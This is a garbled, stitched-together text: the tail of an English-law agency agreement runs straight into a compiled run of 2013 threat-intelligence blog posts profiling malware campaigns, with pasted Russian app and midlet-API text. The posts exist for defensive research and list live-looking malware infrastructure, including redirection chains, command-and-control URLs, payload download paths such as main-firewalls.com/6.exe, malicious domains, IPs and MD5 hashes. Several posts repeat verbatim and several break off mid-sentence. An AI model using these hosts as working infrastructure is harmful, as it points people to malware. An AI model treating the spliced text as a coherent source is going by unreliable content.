(B) FINNS shall keep the Agent indemnified in full against all costs, expenses, damages and losses (whether direct or indirect), including any interest, fines, legal and other professional fees and expenses awarded against or incurred or paid by Agent as a result of or in connection with any claim or chargeback made against Agent by a third party arising out of, or in connection with the sales, activities and actions of FINNS, its employees, agents or subcontractors.

(C) This Clause 8 shall survive termination of this Agreement.

9. Bank, Transaction Fees and Tax Liability

All current or future bank fees, including, but not limited to, credit card processing, ACH transactions and bank administration and all current or future tax liability, including, but not limited to, local, EU or international tax, relating directly to the business activity conducted on behalf of FINNS, will be the responsibility of FINNS. When due, will be deducted and paid to the proper authority from funds collected by the Agent on behalf of FINNS. The Agent agrees to provide copies of all documentation, invoices and demands for payment to FINNS prior to making any payment relating to the above.

10. General

(A) Force majeure: Neither party shall be liable to the other as a result of any delay or failure to perform its obligations under this Agreement if and to the extent such delay or failure is caused by an event or circumstance which is beyond the reasonable control of that party which by its nature could not have been foreseen by such a party or if it could have been foreseen was unavoidable. If such event or circumstances prevent the Agent from providing any of the Services for more than 4 weeks, FINNS shall have the right, without limiting its other rights or remedies, to terminate this Agreement with immediate effect by giving written notice to the Agent.

(B) Assignment and subcontracting: FINNS acknowledges that the Agent may engage other licensed or individual persons to fulfill certain terms of this Agreement save that such persons shall have no rights under this Agreement.

(C) Waiver and cumulative remedies

(a) A waiver of any right under this Agreement is only effective if it is in writing and shall not be deemed to be a waiver of any subsequent breach or default. No failure or delay by a party in exercising any right or remedy under this Agreement or by law shall constitute a waiver of that or any other right or remedy, nor preclude or restrict its further exercise. No single or partial exercise of such right or remedy shall preclude or restrict the further exercise of that or any other right or remedy.

(b) Unless specifically provided otherwise, rights arising under the Contract are cumulative and do not exclude rights provided by law.

(D) Severance:

(a) If a court or any other competent authority finds that any provision (or part of any provision) of this Agreement is invalid, illegal or unenforceable, that provision or part-provision shall, to the extent required, be deemed deleted, and the validity and enforceability of the other provisions of this Agreement shall not be affected.

(b) If any invalid, unenforceable or illegal provision of this Agreement would be valid, enforceable and legal if some part of it were deleted, the provision shall apply with the minimum modification necessary to make it legal, valid and enforceable.

(E) Third parties: A person who is not a party to this Agreement shall not have any rights under or in connection with it.

(F) Variation: Any variation, including any additional terms and conditions, to this Agreement shall only be binding when agreed in writing and signed by FINNS.

(G) Governing law and jurisdiction: Any dispute or claim arising out of, or in connection with this Agreement or its subject matter or formation (including non-contractual disputes or claims), shall be governed by, and construed in, accordance with, English law.

(H) Disputes: In the event of a dispute arising out of or in connection with this Agreement, the parties shall try to resolve the issue amicably within 15 day of a party notifying the other party of the grounds of the dispute. In the event that the parties are still unable to resolve the dispute, the parties agree that the dispute shall be finally resolved by arbitration under the ICC Rules (the ICC Rules then in force shall be deemed to be incorporated into this Agreement) in the LCIA. There shall be a single arbitrator appointed by the Chairperson of LCIA and the seat of arbitration shall be London. The arbitration shall be conducted in English. The parties agree that the arbitrator's decision shall be final and binding on the parties and the losing party shall bear the cost of the arbitration proceedings.

(I) Validity: This Agreement shall be executed in the quantity of 2 original copies signed by FINNS's and the Agent's representatives and then retained in the quantity of 1 original copy by FINNS and 1 original copy by the Agent, each copy of the Agreement signed shall serve as an original.

This Agreement has been entered into on the date stated at the beginning of it.

9.9.1 Rogue iFrame Injected Web Sites Lead to the AndroidOS/FakeInst/Trojan-

SMS.J2ME.JiFake Mobile Malware (2013-09-16 14:29)

A currently ongoing malicious campaign relying on injected iFrames at legitimate Web

sites, successfully [1]**segments mobile traffic**, and exposes mobile users to fraudulent legiti-

mately looking variants of the AndroidOS/FakeInst/Trojan-SMS.J2ME.JiFake mobile malware.

Let's dissect the campaign, expose the domains portfolio currently/historically known to

have been involved in this campaign, as well as list all the malicious MD5s known to have

been pushed by it.

Asphalt 7 для android

Версия игры: 3

Платформа: Android

Файл: Зависит от устройства, по умолчанию - .apk

Скачать

Asphalt 7 можно с большой уверенностью назвать самым горячим, захватывающим и быстрым автосимулятором для Android, потому что Вам предстоит ощутить все риски и удовольствие от скоростной езды на автомобиле и сильного рева двигателя. Разработчики предоставили 60 типов автомобилей, среди которых - Феррари, Ламбоджини, Астон Мартин и DeLorean. Кстати, это именно тот легендарный авто, который летал в фильме «Назад в будущее». На этих чудесных и современных машинах вы пронесетесь по улицам крупнейших мировых мегаполисов – Москвы, Токио, Лондона, Парижа и многих других. Разработана новая часть «Асфальта», которая предполагает 6 режимов игры и более сотни заездов. Вам будет казаться, как бешеная скорость впечатывает вас в ваше компьютерное кресло.
Поверьте, скоро вместе сами онлайн сможут играть все ваши друзья. В одном заезде предполагается сразу до 5 игроков, вот вы и решите, кто из вас окажется лучшим на этот раз. Скачать Asphalt 7может каждый, поэтому очень скоро с помощью системы поиска у вас будут новые соперники со всех уголков земли, с которыми вы вместе сможете провести много часов захватывающего геймплея с современной графикой и ощущением на себе больших всплесков адреналина.
Многие уже смогли оценить по достоинству предыдущие версии этой игры. И можно отметить, что каждая новая версия становится с каждым разом все более реалистичной. Графика совершенствуется, как и все звуковые эффекты. В итоге Asphalt 7 Android, седьмая версия этой игры, стала самой красивой, захватывающей. Она, несомненно, будет оценена любителями гонок. Специально для этой игры разработчики предоставили большое количество скоростных трасс. От прошлых версий с унылыми пейзажами ничего не осталось, а вам придется прокатиться по улицам известнейших городов мира, ощущая себя настоящим стритрейсером, который умудряется в городском хаосе пронестись с ветерком и скрыться от полиции и многочисленных хвостов. В этой игре представлены на выбор сразу три режима – быстрая гонка, карьерный и коллективная игра.Для всех будет приятным удивлением в карьерной гонке пройти целую серию чемпионатов, которых начитывается 13 штук. Каждый кубок предусматривает 3 гонки, а всего их в игре 35. Кстати, создатели приняли решение не изменять предыдущий режим гонок, поэтому игроков ожидают привычные стандартные гонки на 2 круга, аркада, соревнование на выбывание и прыжки. Победители получат по три

[16]MD5: 8cfebfa7175e6e9a10e2a9ade4d87405

[17]MD5: 4e5af55dd6a310bced83eb08c9a635b3

Thanks to the commercial availability of [18]**DIY iFrame injecting platforms**, the cur-

rent [19]**commoditization of hacked/compromised accounts** across multiple verticals, the

[20]**efficiency-oriented mass SQL injection campaigns**, as well as the existence of beneath

the radar [21]**malvertising campaigns**, cybercriminals are perfectly positioned to continue

monetizing mobile traffic for fraudulent/malicious purposes.

Updates will be posted as soon as new developments take place.

9.9.2 Dissecting FireEye's Career Web Site Compromise (2013-09-18 19:41)

Remember when back in 2010, I established a direct connection between several [1]**mass**

Wordpress blogs compromise campaigns, with the campaign behind the [2]**compromised**

Web site of the U.S. Treasury, prompting the cybercriminal(s) behind it to [3]**redirect all the**

campaign traffic to my Blogger profile?

It appears that the cybercriminal/gang of cybercriminals behind these mass Web site

compromise campaigns is/are not just [4]**still in business**, but also – Long Tail of the malicious

Web – [5]**managed to infect FireEye' (external network) Careers Web Site**.

4780

Let's dissect the campaign, expose the malicious domains portfolio behind it, provide

MD5s for a sample exploit, the dropped malware, and connect it to related malicious cam-

paigns, all of which continue to share the same malicious infrastructure.

Sample redirection chain:

hxxp://vjs.zencdn.net/c/video.js

->

hxxp://cdn.adsbarscipt.com/links/jump/

(198.7.59.235;

63.247.93.69; 69.39.238.28; 74.81.94.44) (IE) -> *hxxp://cdn.adsbarscipt.com/links/flash/?-*

updnew (CHROME) -> *hxxp://209.239.127.185/591918d6c2e8ce3f53ed8b93fb0735cd/face-*

book.php

Detection rate for a sample malicious script found on the client-side exploits serving

site:

[6]MD5: 809f70b26e3a50fb9146ddfa8cf500be - detected by 1 out of 49 antivirus scanners as

Trojan.Script.Heuristic-js.iacgm

Sample detection rate for the served client-side exploit:

[7]MD5: 71c92ebc2a889d3541ff6f20b4740868 - detected by 4 out of 49 antivirus scanners

as HEUR:Exploit.Java.CVE-2012-1723.gen; HEUR _JAVA.EXEC

Detection rate for a sample dropped malware:

[8]MD5: 4bfb3379a2814f5eb67345d43bce3091 - detected by 15 out of 49 antivirus scanners

as Trojan-PSW.Win32.Fareit.acqv; PWS:Win32/Fareit.gen!C

The following malicious MD5s are known to have been downloaded from the same IPs

(cdn.adsbarscipt.com (198.7.59.235; 63.247.93.69; 69.39.238.28; 74.81.94.44):

[9]MD5: 82e1013106736b74255586169a217d66

[10]MD5: 01771c3500a5b1543f4fb43945337c7d

[11]MD5: dbf6f5373f56f67e843af30fded5c7f2

Additionally,

the

campaign

is

also

known

to

have

dropped

[12]**MD5:**

9.9.3 Dissecting FireEye's Career Web Site Compromise (2013-09-18 19:41)

Remember when back in 2010, I established a direct connection between several [1]**mass**

Wordpress blogs compromise campaigns, with the campaign behind the [2]**compromised**

Web site of the U.S. Treasury, prompting the cybercriminal(s) behind it to [3]**redirect all the**

campaign traffic to my Blogger profile?

It appears that the cybercriminal/gang of cybercriminals behind these mass Web site

compromise campaigns is/are not just [4]**still in business**, but also – Long Tail of the malicious

Web – [5]**managed to infect FireEye' (external network) Careers Web Site**.

Let's dissect the campaign, expose the malicious domains portfolio behind it, provide

MD5s for a sample exploit, the dropped malware, and connect it to related malicious cam-

paigns, all of which continue to share the same malicious infrastructure.

4784

Sample redirection chain:

hxxp://vjs.zencdn.net/c/video.js

->

hxxp://cdn.adsbarscipt.com/links/jump/

(198.7.59.235;

63.247.93.69; 69.39.238.28; 74.81.94.44) (IE) -> *hxxp://cdn.adsbarscipt.com/links/flash/?-*

updnew (CHROME) -> *hxxp://209.239.127.185/591918d6c2e8ce3f53ed8b93fb0735cd/face-*

book.php

Detection rate for a sample malicious script found on the client-side exploits serving

site:

[6]MD5:

809f70b26e3a50fb9146ddfa8cf500be - detected by 1 out of 49 antivirus scan-

ners as Trojan.Script.Heuristic-js.iacgm

Sample detection rate for the served client-side exploit:

[7]MD5: 71c92ebc2a889d3541ff6f20b4740868 - detected by 4 out of 49 antivirus scan-

ners as HEUR:Exploit.Java.CVE-2012-1723.gen; HEUR _JAVA.EXEC

Detection rate for a sample dropped malware:

[8]MD5: 4bfb3379a2814f5eb67345d43bce3091 - detected by 15 out of 49 antivirus scanners

as Trojan-PSW.Win32.Fareit.acqv; PWS:Win32/Fareit.gen!C

The following malicious MD5s are known to have been downloaded from the same IPs

(cdn.adsbarscipt.com (198.7.59.235; 63.247.93.69; 69.39.238.28; 74.81.94.44):

[9]MD5: 82e1013106736b74255586169a217d66

[10]MD5: 01771c3500a5b1543f4fb43945337c7d

[11]MD5: dbf6f5373f56f67e843af30fded5c7f2

Additionally,

the

campaign

is

also

known

to

have

dropped

[12]**MD5:**

01771c3500a5b1543f4fb43945337c7d

Once executed, the most recently dropped sample (MD5: 4bfb3379a2814f5eb67345d43bce3091)

4785

phones back to the following C &C servers:

main-firewalls.com

(67.228.177.174;

74.204.171.69;

85.195.104.90)

-

Email:

alex1978a@bigmir.net

simple-cdn-node.com (109.120.143.109) - Email: alex1978a@bigmir.net

akamai.com/gate.php

Deja vu!

We’ve already seen alex1978a@bigmir.net in [13]**Network Solution’s (2010)**

mass Wordpress blogs compromise, a campaign which is also directly connected with [14]**the**

compromise of the Web site of the U.S Treasury.

The sample also attempts to download the following additional malware variants:

main-firewalls.com/6.exe

main-firewalls.com/1.exe

simple-cdn-node.com/1.exe - [15]**MD5: 05d003a374a29c9c2bbc250dd5c56d7c**

9.9.4 Spamvertised Facebook 'You have friend suggestions, friend requests and

photo tags' Themed Emails Lead to Client-side Exploits and Malware

(2013-09-28 13:53)

A currently circulating malicious 'Facebook notifications" themed spam campaign, attempts to

trick Facebook's users into thinking that they've received a notifications digest for the activity

that (presumably) took place while they were logged out of Facebook. In reality though, once

users click on any of the links found in the malicious email, they're automatically exposed to

client-side exploits ultimately dropping malware on their hosts.

Let's dissect the campaign, provide actionable intelligence on the campaign's structure,

the involved portfolio of malicious domains, actual/related MD5s, and as always, connect the

currently ongoing campaign with two other previously profiled malicious campaigns.

Spamvertised URL:

hxxp://user4634.vs.easily.co.uk/darkened/PSEUDO _RANDOM _CHARACTERS

Attempts to load the following malicious scripts:

hxxp://3dbrandscapes.com/starker/manipulator.js

hxxp://distrigold.eu/compounding/melisa.js

hxxp://ly-ra.com/shallot/mandalay.js

Client-side exploits serving URL:

hxxp://directgrid.org/topic/lairtg-nilles-slliks.php

Malicious domain name reconnaissance:

directgrid.org - 50.116.10.71 - Email: ringfields@islandresearch.net

4790

Responding to the following IP (50.116.10.71) are also the following malicious domains

participating in the campaign:

directgrid.biz

directgrid.com

directgrid.info

directgrid.net

directgrid.org

directgrid.us

gilkjones.com

integra-inspection.ca

integra-inspection.co

integra-inspection.info

taxipunjab.com

taxisamritsar.com

watttrack.com

The following malicious MD5s are known to have been downloaded – related campaigns

– from the same IP (50.116.10.71):

9.9.5 Spamvertised Facebook 'You have friend suggestions, friend requests and

photo tags' Themed Emails Lead to Client-side Exploits and Malware

(2013-09-28 13:53)

A currently circulating malicious 'Facebook notifications" themed spam campaign, attempts to

trick Facebook's users into thinking that they've received a notifications digest for the activity

that (presumably) took place while they were logged out of Facebook. In reality though, once

users click on any of the links found in the malicious email, they're automatically exposed to

client-side exploits ultimately dropping malware on their hosts.

4795

Let's dissect the campaign, provide actionable intelligence on the campaign's structure,

the involved portfolio of malicious domains, actual/related MD5s, and as always, connect the

currently ongoing campaign with two other previously profiled malicious campaigns.

Spamvertised URL:

hxxp://user4634.vs.easily.co.uk/darkened/PSEUDO _RANDOM _CHARACTERS

Attempts to load the following malicious scripts:

hxxp://3dbrandscapes.com/starker/manipulator.js

hxxp://distrigold.eu/compounding/melisa.js

hxxp://ly-ra.com/shallot/mandalay.js

Client-side exploits serving URL:

hxxp://directgrid.org/topic/lairtg-nilles-slliks.php

Malicious domain name reconnaissance:

directgrid.org - 50.116.10.71 - Email: ringfields@islandresearch.net

Responding to the following IP (50.116.10.71) are also the following malicious domains

participating in the campaign:

directgrid.biz

directgrid.com

directgrid.info

directgrid.net

directgrid.org

4796

directgrid.us

gilkjones.com

integra-inspection.ca

integra-inspection.co

integra-inspection.info

taxipunjab.com

taxisamritsar.com

watttrack.com

The following malicious MD5s are known to have been downloaded – related campaigns

– from the same IP (50.116.10.71):

MD5: 7eb6740ed6935da49614d95a43146dea

MD5: 7768f7039988236165cdd5879934cc5d

The following malicious MD5s are known to have 'phoned back' to the same IP (50.116.10.71)

over the past 24 hours:

MD5: a0065f7649db9a885acd34301ae863b0

9.10.1 Fake Pinterest 'Don't forget to confirm your email!' Themed Emails Serve

Client-side Exploits and Malware (2013-10-01 21:12)

Cybercriminals have just launched yet another massive spam campaign, this time attempting

to trick Pinterest users into thinking that they've received an email confirmation request. In

reality though, once users click on the links found in the malicious emails, they're automati-

cally exposed to client-side exploits, with the campaign dropping two malware samples on the

affected hosts once a successful client-side exploitation takes place.

Let's dissect the campaign, expose the malicious portfolio of domains involved in it, pro-

vide MD5s of the served malware as well as a sample exploit, and provide actionable

(historical) intelligence regarding related malicious activities that have been taking place

using same infrastructure that's involved in the Pinterest campaign.

Spamvertised malicious URL:

boxenteam.com/hathaway/index.html?emailmpss/PSEUDO _RANDOM _CHARACTERS

Attempts to load the following malicious scripts:

theodoxos.gr/hairstyles/defiling.js

web29.webbox11.server-home.org/volleyballs/cloture.js

knopflos-combo.de/subdued/opposition.js

Sample client-side exploits serving URL:

4804

pizzapluswindsor.ca/topic/latest-blog-news.php

Malicious domain name reconnaissance:

pizzapluswindsor.ca - 50.116.6.57; 174.140.169.145

Responding to the same IP (50.116.6.57) are also the following malicious domains part

of the campaing's infrastructure:

pizzapluswindsor.ca

plainidea.com

procreature.com

poindextersonpatrol.com

pixieglitztutus.com

Known to have responded to the second IP (174.140.169.145) are also the following

malicious domains:

lesperancerenovations.com

louievozza.com

louvozza.com

lv-contracting.com

lvconcordecontracting.com

mcbelectrical.ca

oliviagurun.com

onecable.ca

onlyidea.com

originalpizzaplus.ca

originalpizzaplus.com

papak.ca

pccreature.com

pixieglitztutus.com

pizzapluswindsor.ca

saltlakecityutahcommercialrealestate.com

The following malicious MD5s are known to have phoned back to the same IP on the

22nd of September, 2013:

MD5: 5d14ee5800fc3c73e4d40567044c4149

Detection rate for a sample served exploit from the Pinterest themed campaign:

[1]**MD5: d49275523cae83a5e7639bb22604dd86** - detected by 5 out of 48 antivirus scanners

as HEUR:Exploit.Java.CVE-2012-1723.gen

Upon successful client-side exploitation, the campaign drops two malware samples on

the affected hosts.

Detection rate for the first dropped sample:

[2]**MD5: ae840d6ac2f02b4bff85182d2c72a053** - detected by 6 out of 48 antivirus scan-

ners as UDS:DangerousObject.Multi.Generic

4812

Once executed, it phones back to the following C &C:

78.140.131.151/uploading/id=REDACTED &u=PSEUDO _RANDOM _CHARACTERS

The following malicious MD5s are also known to have phoned back to the following C

&C IP (78.140.131.151) in the past:

MD5: ca783e0964e7dcb91fcc2a2ff4b8058f

9.11.2 Malicious Script Artifacts at China Green Dot Gov Dot Cn -

A Reminiscence of

Asprox's Multi-Tasking Activities (2013-11-04 18:33)

Malware artifacts, [1]**abandoned mass** iframe [2]**embedded/ injected campaigns**, and low Qual-

ity Assurance (QA) campaigns, continue popping up on everyone's radar, raising eyebrows as

to the extend of incompetence, possible evasive tactics, plain simple lack of applied QA when

maintaining these campaigns, or the end of a campaign's life cycle.

What's the value of assessing such a non-active campaign?

Can the analysis provide

any clues into related currently active malicious campaigns that typically for such type of

campaigns, continue relying on the same malicious infrastructure? But of course.

Let's assess the malicious artifacts at **hxxp://chinagreen.gov.cn**, connect them to the

multi-tasking activities conducted on behalf of the Asprox botnet, as well as several spamver-

tised malware campaigns circa 2010, and most importantly provide actionable intelligence

on currently active campaigns that continue using the very same infrastructure for command

and control purposes.

Malicious scripts at China Green Dot Gov Dot CN:

update.webserviceftp.ru/js.js - seen in "[3]**Dissecting the Xerox WorkCentre Pro Scanned**

Document Themed Campaign"

Target Themed Scareware/Exploits Serving Campaign"

What's so special about the spamvertised XeroxWorkCentre Pro campaign is that, back

in 2010, it used to drop an Asprox sample, naturally phoning back to well known Asprox C &Cs

at the time.

nemohuildiin.ru is known to have responded to 31.31.204.61 and most recently to 5.63.152.19

Known to have responded to the same IP (31.31.204.61) are also the following mali-

cious domains:

000sstd.com

02143.ru

9.11.3 Malicious Script Artifacts at China Green Dot Gov Dot Cn - A Reminiscence of

Asprox's Multi-Tasking Activities (2013-11-04 18:33)

Malware artifacts, [1]**abandoned mass** iframe [2]**embedded/ injected campaigns**, and low

Quality Assurance (QA) campaigns, continue popping up on everyone's radar, raising eye-

brows as to the extend of incompetence, possible evasive tactics, plain simple lack of applied

QA when maintaining these campaigns, or the end of a campaign's life cycle.

What's the value of assessing such a non-active campaign?

Can the analysis provide

any clues into related currently active malicious campaigns that typically for such type of

campaigns, continue relying on the same malicious infrastructure? But of course.

Let's assess the malicious artifacts at **hxxp://chinagreen.gov.cn**, connect them to the

multi-tasking activities conducted on behalf of the Asprox botnet, as well as several spamver-

tised malware campaigns circa 2010, and most importantly provide actionable intelligence

on currently active campaigns that continue using the very same infrastructure for command

and control purposes.

Malicious scripts at China Green Dot Gov Dot CN:

9.11.4 Scareware, Blackhat SEO, Spam and Google Groups Abuse, Courtesy of the

Koobface Gang (2013-11-04 18:36)

The Koobface gang is known to have embraced the potential of the "underground multi-

tasking" model a long time ago, in order to achieve the "malicious economies of scale" effect.

This "underground multi-tasking" most commonly comes in the form of multiple monetization

campaigns, which upon closer analysis always lead back to the Koobface gang's infrastructure.

In fact, the gang is so obsessed with efficiency, that particular

redirectors and key malicious

domains for a particular campaign, are also, simultaneously rotated across all the campaigns

that they manage.

For instance, throughout the past half an year, a huge percentage of the malicious in-

frastructure used simultaneously in multiple campaigns, was parked on the [1]now shut down

Riccom LTD - AS29550. From the [2]massive blackhat SEO campaigns affecting millions of

legitimate web sites managed by the gang, to the [3]malvertising attack at the New York

Times web site, and [4]the click-fraud facilitating [5]Bahama botnet, the Koobface botnet

is only the tip of the iceberg for the efficient and fraudulent money machine that the gang

operates.

In this analysis, I'll once again establish a connection between the ongoing blackhat SEO

campaigns managed by the gang (*[6]Blackhat SEO Campaign Hijacks U.S Federal Form Key-*

words, Serves Scareware; [7]U.S Federal Forms Blackhat SEO Themed Scareware Campaign

Expanding; [8]Dissecting the Ongoing U.S Federal Forms Themed Blackhat SEO Campaign),

with a spam campaign that's also syndicated across multiple Google Groups, and the Koobface

botnet itself, with a particular emphasis on the scareware monetization taking place across all

the campaigns.

9.11.6 Money Mule Recruiters Trick Mules Into Installing Fake Transaction Certifi-

cates (2013-11-04 18:37)

What is more flattering than Ukrainian blackhat SEO gangs using name as redirectors, includ-

ing offensive messages, the Koobface gang redirecting Facebook's IP space to your blog, or a

plain simple danchodanchev admin panel within a Crime Pack kit?

It's the money mule recruiters who modify the HOSTS file of gullible mules to redirect

ddanchev.blogspot.com and **bobbear.co.uk** to 127.0.0.1. Now that's flattering, considering

the fact that my public money mule ecosystem related research represents a tiny percentage

of the real profiling/activities taking place behind the curtains.

9.11.7 A Peek Inside a Customer-ized API-enabled DIY Online Lab for Generating

Multi-OS Mobile Malware (2013-11-12 02:57)

The exponential growth of mobile malware over the last couple of years, can be attributed to

a variety of 'growth factors', the majority of which continue playing an inseparable role in the

overall success and growth of the cybercrime ecosystem in general.

Tactics like [1]**standardization**, efficiency-oriented monetization, systematic bypassing of

industry accepted/massively adopted security measures like signatures-based antivirus

scanning, [2]**affiliate networks** helping cybercriminals secure revenue streams for their

malicious/fraudulent tactics, techniques and procedures (TTPs), as well as pseudo legal

distribution of deceptive software – think scaware with long EULAs and ToS-es – as well as

mobile applications – think [3]**subscription based premium rate SMS malware** with long EULAs

and ToS-es – continue dominating the arsenal of tactics that any cybercriminal aspiring the

occupy a market share in any market segment within the cybercrime ecosystem, can easily

take advantage of in 2013.

What has changed over the last couple of years, in terms of concepts?

A lot.

For in-

stance, back in 2007, approximately one year after I (publicly) anticipated the upcoming and

inevitable [4]**monetization of mobile malware**, the Red Browser started making its rounds,

proving that I was sadly wrong, and once again, money and greed – or

plain simple profit

maximization to others – would play a crucial role in this emerging back then, cybercrime

ecosystem market segment for mobile malware. [5]**Similar monetization attempts** on behalf

of cybercriminals, then followed, to further strengthen the ambitions of cybercriminals into

this emerging market segment.

With "[6]**malicious economies of scale**" just starting to materialize at the time, it didn't

take long before the concept started getting embedded into virtually each and every

cybercrime-friendly product/service advertised on the market.

Thanks to [7]**Symbian OS**

4831

dominating the mobile operating system at the time, opportunistic cybercriminals quickly

adapted to steal a piece of the pie, by releasing multiple [8]**Symbian based malware variants**.

Sharing is caring, therefore, here are some MD5s from the Symbian malicious code that used

to dominate the threat landscape, back then.

Symbian OS malware MD5s from that period of time, for historical OSINT purposes:

In 2013, we can easily differentiate between the [9]**botnet building** type of [10]**two-factor**

authentication bypassing mobile trojans, and the ubiquitous for the market segment, subscrip-

tion based premium rate SMS malware, relying on deceptive advertising and successful 'visual

social engineering' campaigns. The second, continue getting largely monetized through one

of the primary growth factors of the mobile market segment, namely, [11]**affiliate networks**

for mobile malware.

In this post, I'll profile what can be best described as a sophisticated, customer-ized,

customization and efficiency oriented, API-supporting, DIY mobile "lab" for generating, man-

aging and operating multi-mobile-operating systems type of mobile malware campaigns.

The service's unique value proposition (UVP) in comparison to that of competing "labs" for

managing, operating and converting mobile traffic – [12]**acquisition and selling** of [13]**mobile**

traffic is a commoditized underground market item in 2013 – orbits around the feature rich

interface, offering 100 % customization, monitoring and generally operating the campaigns,

while efficiently earning fraudulently obtained revenue from unsuspecting mobile device users.

Sample screenshots featuring the administration panel of an affiliate network partici-

Принцип действия
API - универсальный инструмент, цель которого автоматически собирать и выдавать пользователю кастомизированные мидлеты из контента на вашем сайте. Внешний вид и иные настройки каждого такого мидлета предопределяются выбранным шаблоном API и параметрами в ссылке (GET запрос). Настройки из параметров ссылки имеют больший приоритет и перекрывают настройки API шаблона.
Список параметров предоставлен ниже.

[32]**Cybercrime-friendly affiliate networks** continue, and will continue to represent a ma-

jor driving factor behind the growth of any market segment within the cybercrime system,

as they result in a win-win-lose scenario for their operations,

participants and the potential

victims of the fraudulent/malicious propositions/releases courtesy of these networks. With

mobile traffic acquisition available on demand based on any given preference a potential could

have, cybercriminals would continue converting it into victims, cashing in on their overall lack

of awareness of the TTPs of today's modern cybercriminals.

9.11.8 A Peek Inside a Customer-ized API-enabled DIY Online Lab for Generating

Multi-OS Mobile Malware (2013-11-12 02:57)

4847

The exponential growth of mobile malware over the last couple of years, can be attributed to

a variety of 'growth factors', the majority of which continue playing an inseparable role in the

overall success and growth of the cybercrime ecosystem in general.

Tactics like [1]**standardization**, efficiency-oriented monetization, systematic bypassing of

industry accepted/massively adopted security measures like signatures-based antivirus

scanning, [2]**affiliate networks** helping cybercriminals secure revenue streams for their

malicious/fraudulent tactics, techniques and procedures (TTPs), as well as pseudo legal

distribution of deceptive software – think scaware with long EULAs and ToS-es – as well as

mobile applications – think [3]**subscription based premium rate SMS malware** with long EULAs

and ToS-es – continue dominating the arsenal of tactics that any cybercriminal aspiring the

occupy a market share in any market segment within the cybercrime ecosystem, can easily

take advantage of in 2013.

What has changed over the last couple of years, in terms of concepts?

A lot.

For in-

stance, back in 2007, approximately one year after I (publicly) anticipated the upcoming and

inevitable [4]**monetization of mobile malware**, the Red Browser started making its rounds,

proving that I was sadly wrong, and once again, money and greed – or plain simple profit

maximization to others – would play a crucial role in this emerging

back then, cybercrime

ecosystem market segment for mobile malware. [5]**Similar monetization attempts** on behalf

of cybercriminals, then followed, to further strengthen the ambitions of cybercriminals into

this emerging market segment.

With "[6]**malicious economies of scale**" just starting to materialize at the time, it didn't

take long before the concept started getting embedded into virtually each and every

cybercrime-friendly product/service advertised on the market.

Thanks to [7]**Symbian OS**

dominating the mobile operating system at the time, opportunistic cybercriminals quickly

adapted to steal a piece of the pie, by releasing multiple [8]**Symbian based malware variants**.

Sharing is caring, therefore, here are some MD5s from the Symbian malicious code that used

to dominate the threat landscape, back then.

4848

Symbian OS malware MD5s from that period of time, for historical OSINT purposes:

In 2013, we can easily differentiate between the [9]**botnet building** type of [10]**two-factor**

authentication bypassing mobile trojans, and the ubiquitous for the market segment, subscrip-

tion based premium rate SMS malware, relying on deceptive advertising and successful ’visual

social engineering’ campaigns. The second, continue getting largely monetized through one

of the primary growth factors of the mobile market segment, namely, [11]**affiliate networks**

for mobile malware.

In this post, I’ll profile what can be best described as a sophisticated, customer-ized,

customization and efficiency oriented, API-supporting, DIY mobile "lab" for generating, man-

aging and operating multi-mobile-operating systems type of mobile malware campaigns.

The service's unique value proposition (UVP) in comparison to that of competing "labs" for

managing, operating and converting mobile traffic – [12]**acquisition and selling** of [13]**mobile**

traffic is a commoditized underground market item in 2013 – orbits around the feature rich

4851

interface, offering 100 % customization, monitoring and generally operating the campaigns,

while efficiently earning fraudulently obtained revenue from unsuspecting mobile device

users.

Sample screenshots featuring the administration panel of an affiliate network partici-

pant:

Принцип действия
API - универсальный инструмент, цель которого автоматически собирать и выдавать пользователю кастомизированные мидлеты из контента на вашем сайте. Внешний вид и иные настройки каждого такого мидлета предопределяются выбранным шаблоном API и параметрами в ссылке (GET запрос). Настройки из параметров ссылки имеют больший приоритет и перекрывают настройки API шаблона.
Список параметров предоставлен ниже.

[32]**Cybercrime-friendly affiliate networks** continue, and will continue to represent a ma-

jor driving factor behind the growth of any market segment within the cybercrime system,

as they result in a win-win-lose scenario for their operations, participants and the potential

4866

victims of the fraudulent/malicious propositions/releases courtesy of these networks.

With mobile traffic acquisition available on demand based on any given preference a po-

tential could have, cybercriminals would continue converting it into victims, cashing in on

their overall lack of awareness of the TTPs of today's modern cybercriminals.

Updates will be posted as soon as new developments take place.

9.11.9 New Commercially Available Modular Malware Platform Released On the Un-

derground Marketplace (2013-11-13 00:15)

Cybercriminals have recently released a new (v3 to be more precise indicating possible

beneath the radar operation until now), commercially available, modular malware platform,

including such cybercrime-friendly features like DNS Changer, Loaders, [1]**Injects**, and [2]**Ran-**

somware features – completely blocking the Internet access of [3]**the affected user** in this

particular case – with several upcoming modules such as stealth VNC, and Remote IE (a

feature which would allow them to completely hijack any sort of encrypted session taking

place on the affected host, naturally including the cookies).

Sample screenshots of the command and control interface + DNS Changer in action:

4868

With prices for the standard package starting from $1,500, I expect that the malware bot will

quickly gain market share thanks to its compatibility with existing/ working crimeware con-

cepts/releases, as well as thanks to the general availability of 24/7/365 [4]**managed malware**

crypting services, applying the necessary degree of QA (Quality Assurance) to a potential

4869

campaign before launching it. Moreover, yet another factor that would greatly contribute

to the success of such type of newly released platforms is the the ease of acquisition of

legitimate traffic – think [5]**blackhat SEO**, [6]**compromised FTP accounts**, or [7]**mass SQL**

injection campaigns – to be later on converted into malware-infected hosts, most commonly

through social engineering, or the client-side exploitation of outdated and already patched

vulnerabilities in browser plugins/third-party applications.

Furthermore, with or without the full scale modularity in place – some of the modules

are currently in the works, as well as the lack of built-in renting/ reselling/traffic acquisi-

tion/affiliate network type of monetization elements, typical for what can be best described

as platform type of underground market release compared to a standalone modular malware

bot, the bot's worth keeping an eye on.

The DNS Changer IP seen in the screenshot **62.76.176.214** (*62-76-176-214.clodo.ru*),

can

also

be

connected

to

related

malicious

activity.

For

instance,

[8]**MD5:**

9.11.11 Fake Chrome/Firefox/Internet Explorer/Safari Updates Expose Users to An-

droid Malware (2013-11-14 16:38)

A currently ongoing [1]**malicious campaign using compromised sites as the primary traffic**

acquisition tactic, is attempting to socially engineer users (English and Russian speak-

ing) into thinking that they’re using an outdated version of their browser, and need to

apply a bogus (security/antivirus) update.

In reality though, the update is a variant of

Trojan:Android/Fakeinst.EQ/Android.SmsSend.

Sample screenshots of the fake browser update landing pages:

It appears that the traffic is not segmented – to [6]**affect mobile device users only** – at

any point of the redirection chain, an indication of what I believe is a boutique cybercrime-

friendly operation. In comparison, the relatively more sophisticated ones would segment the

traffic, usually acquired through the [7]**active exploitation of tens of thousands of legitimate**

Web sites, or the direct purchase of segmented mobile traffic.

4878
